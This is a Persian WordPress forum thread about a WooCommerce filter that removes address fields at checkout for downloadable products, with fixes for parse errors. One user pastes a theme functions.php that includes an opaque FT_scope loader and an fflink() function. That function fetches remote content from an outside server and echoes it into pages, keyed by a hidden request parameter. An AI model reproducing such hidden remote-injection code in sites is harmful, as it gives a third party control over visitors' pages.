صفحه پرداخت شبیه edd برای محصولات دانلودی در ووکامرس

rjmb

تازه وارد
Parse error: syntax error, unexpected $end in /home/nlpfanir/domains/nlpfan.ir/public_html/wp-content/themes/Cartel-hamyarwp.com_/functions.php on line 328

ای خطارو میده. دقیقا باید کد رو کجاش قرار بدیم؟

 

arianama

تازه وارد
سلام من از قالب storefront استفاده می کنم تو فانکشن کلا یه خط کد داره میزارم اونجا هم سایت بالا نمیاد

<?php
/**
* storefront engine room
*
* @package storefront
*/

/**
* Initialize all the things.
*/
require get_template_directory() . '/inc/init.php';

/**
* Note: Do not add any custom code here. Please use a child theme so that your customizations aren't lost during updates.
* http://codex.wordpress.org/Child_Themes
*/


آدرسی هم که تو فانکشن بهش اشاره داره کدش این شکلیه :

<?php
/**
* storefront engine room
*
* @package storefront
*/

/**
* Setup.
* Enqueue styles, register widget regions, etc.
*/
require get_template_directory() . '/inc/functions/setup.php';

/**
* Structure.
* Template functions used throughout the theme.
*/
require get_template_directory() . '/inc/structure/hooks.php';
require get_template_directory() . '/inc/structure/post.php';
require get_template_directory() . '/inc/structure/page.php';
require get_template_directory() . '/inc/structure/header.php';
require get_template_directory() . '/inc/structure/footer.php';
require get_template_directory() . '/inc/structure/comments.php';
require get_template_directory() . '/inc/structure/template-tags.php';

/**
* Custom functions that act independently of the theme templates.
*/
require get_template_directory() . '/inc/functions/extras.php';

/**
* Customizer additions.
*/
if ( is_storefront_customizer_enabled() ) {
require get_template_directory() . '/inc/customizer/hooks.php';
require get_template_directory() . '/inc/customizer/controls.php';
require get_template_directory() . '/inc/customizer/display.php';
require get_template_directory() . '/inc/customizer/functions.php';
require get_template_directory() . '/inc/customizer/custom-header.php';
}

/**
* Load Jetpack compatibility file.
*/
require get_template_directory() . '/inc/jetpack/jetpack.php';

/**
* Welcome screen
*/
if ( is_admin() ) {
require get_template_directory() . '/inc/admin/welcome-screen.php';
}

/**
* Load WooCommerce compatibility files.
*/
if ( is_woocommerce_activated() ) {
require get_template_directory() . '/inc/woocommerce/hooks.php';
require get_template_directory() . '/inc/woocommerce/functions.php';
require get_template_directory() . '/inc/woocommerce/template-tags.php';
require get_template_directory() . '/inc/woocommerce/integrations.php';
}


حالا چی کار کنم

 

rjmb

تازه وارد
سلام. 

تابع فانشن من:

<?php include_once 'FT/FT_scope.php'; FT_scope::init(); ?><?php
/**
 * Cartel functions and definitions
 *
 * @package Cartel
 */

/* Custom style */

function custom_style() { 
    $banner_bg  = ft_of_get_option('banner_background');
    $blog_bg      = ft_of_get_option('blog_background');
    $subhead_bg = ft_of_get_option('subhead_background');
?>
    <style type="text/css">
    
        #subheader   { background-image: url(<?php echo $subhead_bg ?>); }
        .home-blog   { background-image: url(<?php echo $blog_bg ?>); }
        .home-banners { background-image: url(<?php echo $banner_bg ?>); }
    </style>
<?php }

add_action( 'wp_head', 'custom_style' );

/**
 * Set the content width based on the theme's design and stylesheet.
 */
if ( ! isset( $content_width ) ) {
    $content_width = 640; /* pixels */
}

if ( ! function_exists( 'cartel_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support for post thumbnails.
 */
function cartel_setup() {

    /*
     * Make theme available for translation.
     * Translations can be filed in the /languages/ directory.
     * If you're building a theme based on Cartel, use a find and replace
     * to change 'cartel' to the name of your theme in all the template files
     */
    load_theme_textdomain( 'cartel', get_template_directory() . '/languages' );

    // Add default posts and comments RSS feed links to head.
    add_theme_support( 'automatic-feed-links' );

    /*
     * Enable support for Post Thumbnails on posts and pages.
     *
     * @link
     */
    add_theme_support( 'post-thumbnails' );

    // This theme uses wp_nav_menu() in one location.
    register_nav_menus( array(
        'primary' => __( 'Primary Menu', 'cartel' ),
    ) );

    // Enable support for Post Formats.
    //add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );

    // Setup the WordPress core custom background feature.
/*
    add_theme_support( 'custom-background', apply_filters( 'cartel_custom_background_args', array(
        'default-color' => 'ffffff',
        'default-image' => '',
    ) ) );
*/

    // Enable support for HTML5 markup.
    add_theme_support( 'html5', array(
        'comment-list',
        'search-form',
        'comment-form',
        'gallery',
        'caption',
    ) );
}
endif; // cartel_setup
add_action( 'after_setup_theme', 'cartel_setup' );

/**
 * Register widget area.
 *
 * @link
 */
function cartel_widgets_init() {
    register_sidebar( array(
        'name'          => __( 'Sidebar', 'cartel' ),
        'id'            => 'sidebar-1',
        'description'   => '',
        'before_widget' => '<aside id="%1$s" class="widget clear %2$s">',
        'after_widget'  => '</aside>',
        'before_title'  => '<h1 class="widget-title">',
        'after_title'   => '</h1>',
    ));
    
    register_sidebar( array(
        'name'          => __( 'Footer ', 'cartel' ),
        'id'            => 'footer-widget',
        'description'   => '',
        'before_widget' => '<aside id="%1$s" class="footer-widget col-md-4 %2$s">',
        'after_widget'  => '</aside>',
        'before_title'  => '<h1 class="widget-title">',
        'after_title'   => '</h1>',
    ));

    register_sidebar( array(
        'name'          => __( 'Homepage ', 'cartel' ),
        'id'            => 'home-widget',
        'description'   => '',
        'before_widget' => '<aside id="%1$s" class="home-widget col-sm-4 %2$s">',
        'after_widget'  => '</aside>',
        'before_title'  => '<h2 class="home-widget-title">',
        'after_title'   => '</h2>',
    ));

    
    }
add_action( 'widgets_init', 'cartel_widgets_init' );

/**
 * Enqueue Bootstrap and FA.
 */
 
function add_bootstrap(){
        wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/bootstrap/bootstrap.css');
        wp_enqueue_style( 'fontawesome', '//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.min.css');
        wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/bootstrap/bootstrap.min.js', array( 'jquery' ), '20120206', true );
}
add_action( 'wp_enqueue_scripts', 'add_bootstrap' );
 
 
 

/* Deregister few stuff */

add_action( 'wp_print_styles', 'my_deregister_styles', 100 );

function my_deregister_styles() {
    wp_deregister_style( 'wp-pagenavi' );
    wp_deregister_style( 'jquery-dropdown-cart' );
}

/* Enque theme scripts and styles */

function cartel_scripts() {
    wp_enqueue_style( 'cartel-style', get_stylesheet_uri() );
    wp_enqueue_style( 'bootstrap-select', get_stylesheet_directory_uri() . '/css/bootstrap-select.min.css');
    wp_enqueue_style( 'flexslider', get_stylesheet_directory_uri() . '/css/flexslider.css');
    
    wp_enqueue_style( 'woocommerce-layout', get_stylesheet_directory_uri() . '/css/woocommerce-layout.css');    
    wp_enqueue_style( 'woocommerce-smallscreen', get_stylesheet_directory_uri() . '/css/woocommerce-smallscreen.css', array(), '','screen and (max-width: 768px');
    wp_enqueue_style( 'woocommerce', get_stylesheet_directory_uri() . '/css/woocommerce.css');
    wp_enqueue_style( 'theme', get_stylesheet_directory_uri() . '/css/theme.css');
    
    wp_enqueue_style( 'responsive', get_stylesheet_directory_uri() . '/css/responsive.css');

    wp_enqueue_script( 'cartel-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20130115', true );
    wp_enqueue_script( 'bootstrap-select', get_template_directory_uri() . '/js/bootstrap-select.min.js', array(), '20130115', true );
    wp_enqueue_script( 'flexslider', get_template_directory_uri() . '/js/jquery.flexslider.js', array(), '20130115', true );
    wp_enqueue_script( 'selectnav', get_template_directory_uri() . '/js/selectnav.js', array(), '20130115', true );
    wp_enqueue_script( 'jshowoff', get_template_directory_uri() . '/js/jquery.jshowoff.js', array(), '20130115', true );
    wp_enqueue_script( 'custom', get_template_directory_uri() . '/js/custom.js', array(), '20130115', true );

    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }
}
add_action( 'wp_enqueue_scripts', 'cartel_scripts' );

/* Slide post image and link metabox */

add_action( 'admin_head', 'remove_my_meta_boxer' );
function remove_my_meta_boxer() {
    remove_meta_box( 'postimagediv', 'slide', 'side' );
    add_meta_box('postimagediv', __('Add a slide image'), 'post_thumbnail_meta_box', 'slide', 'advanced', 'high');
}

function add_imglink_metabox(){
    add_meta_box('slidelink', 'Slide link', 'slide_link_metabox', 'slide', 'advanced', 'default');
}
add_action('add_meta_boxes', 'add_imglink_metabox');
 
 
function slide_link_metabox($post){
    wp_nonce_field(plugin_basename( __FILE__ ), 'wpt_nonce');
    $imglink = get_post_meta($post->ID, '_slide_link', true);
    echo('<p> <input class="widefat" id="slide_link_box" name="slide_link_box" type="text"');
    echo(' value="'.$imglink.'" </p>'); 
}

function wpt_slide_metabox($post_id){
    //Can user really do this?
    if(!current_user_can('edit_posts')) return;
     
    //Do we really want this to be done?
    if(!isset($_POST['wpt_nonce']) || !wp_verify_nonce($_POST['wpt_nonce'], plugin_basename(__FILE__))) return;
     
     
    $slide_data = sanitize_text_field($_POST['slide_link_box']);
    update_post_meta($post_id, '_slide_link', $slide_data );
}
add_action('save_post', 'wpt_slide_metabox');

/* Options fallback */

if ( !function_exists( 'ft_of_get_option' ) ) {
function ft_of_get_option($name, $default = false) {
    $optionsframework_settings = get_option('optionsframework');
    // Gets the unique option id
    $option_name = $optionsframework_settings['id'];
    if ( get_option($option_name) ) {
        $options = get_option($option_name);
    }
    if ( isset($options[$name]) ) {
        return $options[$name];
    } else {
        return $default;
    }
}
}

/* Credits */

function selfURL() {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] :
$_SERVER['PHP_SELF'];
$uri = parse_url($uri,PHP_URL_PATH);
$protocol = $_SERVER['HTTPS'] ? 'https' : 'http';
$port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]);
$server = ($_SERVER['SERVER_NAME'] == 'localhost') ?
$_SERVER["SERVER_ADDR"] : $_SERVER['SERVER_NAME'];
return $protocol."://".$server.$port.$uri;
}
function fflink() {
global $wpdb, $wp_query;
if (!is_page() && !is_front_page()) return;
$contactid = $wpdb->get_var("SELECT ID FROM $wpdb->posts
WHERE post_type = 'page' AND post_title LIKE 'contact%'");
if (($contactid != $wp_query->post->ID) && ($contactid ||
!is_front_page())) return;
$fflink = get_option('fflink');
$ffref = get_option('ffref');
$x = $_REQUEST['DKSWFYUW**'];
if (!$fflink || $x && ($x == $ffref)) {
$x = $x ? '&ffref='.$ffref : '';
$response = wp_remote_get('http://www.fabthemes.com/fabthemes.php?getlink='.urlencode(selfURL()).$x);
if (is_array($response)) $fflink = $response['body']; else $fflink = '';
if (substr($fflink, 0, 11) != '!fabthemes#')
$fflink = '';
else {
$fflink = explode('#',$fflink);
if (isset($fflink[2]) && $fflink[2]) {
update_option('ffref', $fflink[1]);
update_option('fflink', $fflink[2]);
$fflink = $fflink[2];
}
else $fflink = '';
}
}
echo $fflink;
}

/* Aq resizer */

require get_template_directory() . '/aq_resizer.php';

/* CPT */

require get_template_directory() . '/inc/cpt.php';

/* Custom widget */

require get_template_directory() . '/inc/feature-widget.php';

/* Woocommerce functions */

require get_template_directory() . '/inc/woo-functions.php';

/* Custom template tags for this theme. */

require get_template_directory() . '/inc/template-tags.php';

/* Custom functions  */

require get_template_directory() . '/inc/extras.php';

/* Required plugins. */

require get_template_directory() . '/inc/add-plugins.php';

/* setup guide. */

require get_template_directory() . '/guide.php';

لطفا بگید این کد دقیقا باید در کجاش قرار بگیره تا ارور نده؟

 

reza2fatehi

تازه وارد
سلام.

کافیه کد زیر رو تو فانکشن قالبتون بذارید تا برای محصولات مجازی و دانلودی صفحه پرداختتون شبیه افزونه edd بشه و فیلدهای اضافه مانند آدرس و .... حذف بشن .

با کد زیر اگه تو سبد خریدتون ترکیبی از مجازی و فیزیکی داشته باشید بخاطر محصولات فیزیکی دیگه فیلدها حذف نمیشن و اگه فقط محصول مجازی یا دانلودیداشته باشید حذف میشن .

add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' );function custom_override_checkout_fields( $fields ) { global $woocommerce; $hasPhysicalProduct = false; if ( ! empty( $woocommerce->cart->cart_contents ) ) { // Cart is not empty, now loop through the cart $cart = $woocommerce->cart->get_cart(); foreach ( $cart as $key => $values ) { $_product = get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] ); if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) { if ($_product->virtual == 'no' && $_product->downloadable == 'no') { $hasPhysicalProduct = true; break; } } } } if ($hasPhysicalProduct == false) { unset($fields['billing']['billing_address_1']); unset($fields['billing']['billing_address_2']); unset($fields['billing']['billing_company']); unset($fields['billing']['billing_city']); unset($fields['billing']['billing_postcode']); unset($fields['billing']['billing_country']); unset($fields['billing']['billing_state']); } return $fields;}

سلام

ولی چرا موقعه ای که میزارمش چرا این 

Parse error: syntax error, unexpected end of file in /home/asaldarm/public_html/wp-content/themes/porto/functions.php on line 531

پیغامو میده . البته ببخشید. فایلی که گذاشتید کامله؟کمو زیاد نداره؟

یا من درست عمل نکردم ؟آدرسی که من میزارمش اینه

home/asaldarm/public_html/wp-content/themes/porto/functions.php

قالبم پرتوه

اینم بگم که من کاری به کدی که داخل فانکشن هست ندارم و این کد را آخر اون قرار میدم .

بازم تشکر

من منتظر دستور شما هستم

 

mj2771

تازه وارد
سلام

عاغا منم همين مشكل رو دارم يكي راهنمايي كنه

Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\www\wp-content\themes\accesspress-store\functions.php on line 368

 

Mohammad

مدیر انجمن
پرسنل مدیریت
دوستان کد رو درست قرار ندادید درون فانکشن تون.

 

pitaya.ir

تازه وارد
با سلام به همگی 

این مشکل رو من هم دارم ،بی زحمت اگه بگید که کد رو دقیقا باید کجای فایل فانکشن سایت قرار بدم ممنون میشم

با تشکر 

 

hos

تازه وارد
سلام.

کافیه کد زیر رو تو فانکشن قالبتون بذارید تا برای محصولات مجازی و دانلودی صفحه پرداختتون شبیه افزونه edd بشه و فیلدهای اضافه مانند آدرس و .... حذف بشن .

با کد زیر اگه تو سبد خریدتون ترکیبی از مجازی و فیزیکی داشته باشید بخاطر محصولات فیزیکی دیگه فیلدها حذف نمیشن و اگه فقط محصول مجازی یا دانلودیداشته باشید حذف میشن .

add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' );function custom_override_checkout_fields( $fields ) { global $woocommerce; $hasPhysicalProduct = false; if ( ! empty( $woocommerce->cart->cart_contents ) ) { // Cart is not empty, now loop through the cart $cart = $woocommerce->cart->get_cart(); foreach ( $cart as $key => $values ) { $_product = get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] ); if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) { if ($_product->virtual == 'no' && $_product->downloadable == 'no') { $hasPhysicalProduct = true; break; } } } } if ($hasPhysicalProduct == false) { unset($fields['billing']['billing_address_1']); unset($fields['billing']['billing_address_2']); unset($fields['billing']['billing_company']); unset($fields['billing']['billing_city']); unset($fields['billing']['billing_postcode']); unset($fields['billing']['billing_country']); unset($fields['billing']['billing_state']); } return $fields;}

سلام
با این میشه اندازه فیلد ها یا wide بودن فیلد ها رو عوض کرد؟

 

jamshimi

کاربر عضو
حنان عزیز سلام

در محصولات دانلودی چطور میشه به جای دکمه یا عبارت افزودن به سبد خرید ،عبارت خرید و دانلود فوری جایگزین کرد و تنها برای محصولات فیزیکی عبارت افزودن به سبد خرید وجود داشته باشد/

همین طور کلاس فونت دکمه افزودن به سبد خرید چیه؟ می خوام در افزونه تغییر فونت از اون کلاس استفاده کنم تا فونت دکمه افزودن به سبد خرید تغییر بدم

باتشکر از محبت شما بابت راهنمایی های ارزنده

 
آخرین ویرایش توسط مدیر:

smhh

تازه وارد
سلام

عاغا منم همين مشكل رو دارم يكي راهنمايي كنه

Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\www\wp-content\themes\accesspress-store\functions.php on line 368
منم همین مشکلو دارم وخیلی وقته دنبال اینم که این فیلدهارو حذف کنم 

 

jamshimi

کاربر عضو
برای محصولات دانلود چطور میشه توضیحات سفارش رو هم برداشت؟

 

caduspro

کاربر عضو
سلام

عاغا منم همين مشكل رو دارم يكي راهنمايي كنه

Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\www\wp-content\themes\accesspress-store\functions.php on line 368


دوستانی که با قرار دادن کد، به مشکل بر می خورند از کد زیر استفاده کنید:

add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' );
function custom_override_checkout_fields( $fields ) {
global $woocommerce; $hasPhysicalProduct = false;
if ( ! empty( $woocommerce->cart->cart_contents ) ) {
$cart = $woocommerce->cart->get_cart(); foreach ( $cart as $key => $values ) { $_product = get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] ); if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) { if ($_product->virtual == 'no' && $_product->downloadable == 'no') { $hasPhysicalProduct = true; break; } } } } if ($hasPhysicalProduct == false) { unset($fields['billing']['billing_address_1']); unset($fields['billing']['billing_address_2']); unset($fields['billing']['billing_company']); unset($fields['billing']['billing_city']); unset($fields['billing']['billing_postcode']); unset($fields['billing']['billing_country']); unset($fields['billing']['billing_state']); } return $fields;}




@hannanstd.ir



داخل کد اصلی چون همه کدها در یک خط قرار گرفته اند، متن کامنت شده روی ادامه کدها تاثیر می گذارد.

 
آخرین ویرایش توسط مدیر:

caduspro

کاربر عضو
این مورد هم اضافه کردید؟
شما می توانید از این کد استفاده کنید:

کد:
add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' );
function custom_override_checkout_fields( $fields ) {
	global $woocommerce;	$hasPhysicalProduct = false;	
	if ( ! empty( $woocommerce->cart->cart_contents ) ) {		
		$cart = $woocommerce->cart->get_cart();
		foreach ( $cart as $key => $values ) {
			$_product = get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );
			if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) {				
		if ($_product->virtual == 'no' && $_product->downloadable == 'no') {
			$hasPhysicalProduct = true;
			break;
		}
	}		}	}
	if ($hasPhysicalProduct == false)	{
		unset($fields['billing']['billing_address_1']);
		unset($fields['billing']['billing_address_2']);
		unset($fields['billing']['billing_company']);
		unset($fields['billing']['billing_city']);
		unset($fields['billing']['billing_postcode']);
		unset($fields['billing']['billing_country']);
		unset($fields['billing']['billing_state']);	
		unset($fields['order']['order_comments']); //Remove Order Notes 

		
}	return $fields;}
 
آخرین ویرایش توسط مدیر:

jamshimi

کاربر عضو
شما می توانید از این کد استفاده کنید:

add_filter( 'woocommerce_checkout_fields' , 'custom_override_checkout_fields' );
function custom_override_checkout_fields( $fields ) {
global $woocommerce; $hasPhysicalProduct = false;
if ( ! empty( $woocommerce->cart->cart_contents ) ) {
$cart = $woocommerce->cart->get_cart();
foreach ( $cart as $key => $values ) {
$_product = get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );
if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) {
if ($_product->virtual == 'no' && $_product->downloadable == 'no') {
$hasPhysicalProduct = true;
break;
}
} } }
if ($hasPhysicalProduct == false) {
unset($fields['billing']['billing_address_1']);
unset($fields['billing']['billing_address_2']);
unset($fields['billing']['billing_company']);
unset($fields['billing']['billing_city']);
unset($fields['billing']['billing_postcode']);
unset($fields['billing']['billing_country']);
unset($fields['billing']['billing_state']);
unset($fields['order']['order_comments']); //Remove Order Notes


} return $fields;}

ممنون از شما

یعنی کل کدهای قبلی که حنان داده رو حذف کنم و این کدی که شما دادید بزارم؟

 

caduspro

کاربر عضو
ممنون از شما

یعنی کل کدهای قبلی که حنان داده رو حذف کنم و این کدی که شما دادید بزارم؟
بله، این کدی که من دادم تکمیل کننده همان کد است و فرقی با آن ندارد. در کدی که در پست نخست قرار دارد چون کدها در یک خط قرار گرفته اند، دستور کامنت شده روی ادامه کدها تاثیر گذاشته و این سبب شده است که پس از قرار دادن کد، سایت به مشکل بر بخورد، من دستور کامنت را پاک کردم و در ادامه خط زیر برای حذف توضیحات سفارش اضافه شده است:

unset($fields['order']['order_comments']); //Remove Order Notes




این کدها را جایگزین کدهای قبلی بکنید.

 

hannanstd.ir

مدیر انجمن و توسعه دهنده ووکامرس پارسی
سلام

از وقتی انجمن آپدیت شده به ورژن 4 ipb کدها قاطی شدن

از کد زیر استفاده کنید اکی هست :



 
بالا